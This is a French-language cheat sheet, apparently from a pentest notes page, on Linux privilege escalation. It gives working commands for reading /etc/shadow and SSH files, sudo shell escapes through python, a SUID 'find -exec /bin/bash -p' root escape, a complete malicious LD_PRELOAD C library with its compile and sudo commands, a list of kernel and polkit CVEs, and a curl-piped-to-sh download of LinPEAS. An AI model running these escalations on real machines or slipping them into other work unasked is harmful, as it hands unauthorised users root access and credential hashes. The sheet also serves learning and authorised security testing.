Linux Privilege Escalation
2026-03-13#privesc#linux#suid#sudo#capabilities#enumeration
Enumération
ps aux | grep root # processus actifs en root ps au # utilisateurs connectés ls -l .ssh # contenu du répertoire SSH history # historique des commandes sudo -l # privilèges sudo de l'utilisateur cat /etc/shadow # hashes des mots de passe cat /etc/passwd # utilisateurs du système cat /etc/crontab # cronjobs planifiés lsblk # stockage disponible find / -path /proc -prune -o -type d -perm -o+w 2>/dev/null # dossiers writables find / -path /proc -prune -o -type f -perm -o+w 2>/dev/null # fichiers writables
Sudo
sudo -l # lister les commandes autorisées
Si python3 est disponible en sudo :
python3 -c 'import os; os.system("/bin/bash")' python2.7 -c 'import os; os.execl("/bin/sh", "sh", "-p")'
SUID
GTFOBins — liste de binaires Unix exploitables sur les systèmes mal configurés.
Rechercher les binaires avec le bit SUID :
find / -perm -u=s -type f 2>/dev/null
Exemple avec find :
ls -l /usr/bin/find # -rwsr-xr-x 1 root root 311008 Jan 9 2021 /usr/bin/find find . -exec /bin/bash -p \; -quit # root💀hackerbox:~# id # uid=0(root) gid=0(root) groups=0(root)
Capabilities
Les capabilities permettent à un programme d'effectuer des actions privilégiées spécifiques sans être root.
whereis getcap /usr/sbin/getcap -r / 2>/dev/null # lister toutes les capabilities
| Capability | Description |
|---|---|
cap_setuid | Modifier l'UID effectif (inclus root) |
cap_setgid | Modifier le GID effectif |
cap_dac_override | Bypass les permissions fichiers |
cap_sys_admin | Actions administratives système |
cap_sys_ptrace | Attacher et déboguer d'autres processus |
cap_sys_module | Charger/décharger des modules kernel |
cap_net_bind_service | Bind sur des ports réseau |
cap_net_raw | Créer des sockets RAW et PACKET |
cap_sys_chroot | Modifier le répertoire racine |
Shared Libraries (LD_PRELOAD)
Voir les librairies d'un binaire :
ldd /bin/ping
Si sudo -l montre env_keep+=LD_PRELOAD, on peut injecter une librairie malveillante :
// escalate.c #include <stdio.h> #include <sys/types.h> #include <stdlib.h> void _init() { unsetenv("LD_PRELOAD"); setresuid(0, 0, 0); system("/bin/bash -p"); }
gcc -fPIC -shared -nostartfiles -o /tmp/escalate.so escalate.c sudo LD_PRELOAD=/tmp/escalate.so /usr/local/bin/sys_backup
CVE notables
| CVE | Nom | Cible |
|---|---|---|
| CVE-2022-0847 | Dirty Pipe | Kernel Linux ≤ 5.16.11 |
| CVE-2021-4034 | PwnKit | Polkit pkexec |
| — | screen 4.5.0 | Local privesc |
Outils automatisés
# LinPEAS curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh | sh # LinEnum ./LinEnum.sh # Linux Smart Enumeration ./lse.sh -l 1 # Linux Exploit Suggester ./linux-exploit-suggester.sh
- Exploit-DB — base de données d'exploits publics
- Metasploit :
use post/multi/recon/local_exploit_suggester